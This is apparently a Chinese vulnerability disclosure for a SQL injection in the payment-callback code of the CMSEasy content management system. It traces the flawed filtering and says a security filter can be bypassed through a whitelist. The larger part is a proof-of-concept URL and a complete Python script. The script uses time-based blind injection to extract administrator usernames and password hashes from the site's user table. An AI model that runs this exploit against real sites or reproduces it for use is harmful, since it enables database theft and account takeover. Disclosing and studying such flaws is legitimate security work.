### 简要描述:
也不知道重复没有- -!
### 详细说明:
/lib/default/archive_act.php:
```
function respond_action() {
include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php';
$payclassname = front::$get['code'];
$payobj = new $payclassname();
$uri = $_SERVER["REQUEST_URI"];
$__uriget = strstr($uri, '?');
$__uriget = str_replace('?', '', $__uriget);
$__uriget = explode('&', $__uriget);
$_GET = array();
foreach ($__uriget as $key => $val) {
$tmp = explode('=', $val);
$_GET[$tmp[0]] = $tmp[1];
if(preg_match('/\'|select|union|"/i', $tmp1)){
exit('非法参数');
}
}
file_put_contents('logs11.txt', var_export($_GET,true));
$status = $payobj->respond();
```
由于程序员的失误导致$tmp1的过滤并没有起到作用,同时由于前面会对code进行过滤
继续跟到alipay.php:
```
function respond() {
if (!empty($_POST)) {
foreach($_POST as $key =>$data) {
if(preg_match('/(=|<|>|\')/', $data)){
return false;
}
$_GET[$key] = $data;
}
}
$payment = pay::get_payment($_GET['code']);
```
看看get_payment().
```
public static function get_payment($code) {
$where=array();
$where['pay_code']=$code;
$where['enabled']=1;
$payment1=pay::getInstance()->getrows($where);//注入
$payment = $payment1[0];
if ($payment) {
$config_list = unserialize($payment['pay_config']);
foreach ($config_list AS $config) {
$payment[$config['name']] = $config['value'];
}
}
return $payment;
}
```
由于cmseasy使用了360防护,但是可以基于白名单绕过,如下
poc:
```
http://localhost/cmseasy/uploads/index.php/?case=file&case=archive&act=respond&code=alipay'
```
无法使用"=",写个脚本跑一下
exp:
```
import urllib2
from time import time
def inject(payload):
url = 'http://localhost/cmseasy/uploads/index.php/?case=file&case=archive&act=respond&code=alipay'
req = urllib2.Request(url+payload)
start = time()
response = urllib2.urlopen(req)
end = time()
index = int(end-start)
return index
wordlist = "123456789:;Abcdefghijklmnopqrstuvwxyz{"
def user_pass():
result = ""
for i in range(1,40):
for num in range(len(wordlist)):
word = ord(wordlist[num])
times = inject("'/**/and/**/IF(ord(substring((select/**/concat(username,0x3a,password)/**/from/**/cmseasy_user),{0},1))<{1},BENCHMARK(2000000,md5('xxx')),null)/**/and/**/'1".format(i,word))
if times>1:
print str(i)+'<=========>'+chr(word-1)
result = result+chr(word-1)
break
print 'username:password<=========>'+result
user_pass()
```
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201409/01163237024ba1aa20cdba85abbd1facb01e7de6.jpg" alt="BaiduHi_2014-9-1_16-32-22.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/01163237024ba1aa20cdba85abbd1facb01e7de6.jpg)
暂无评论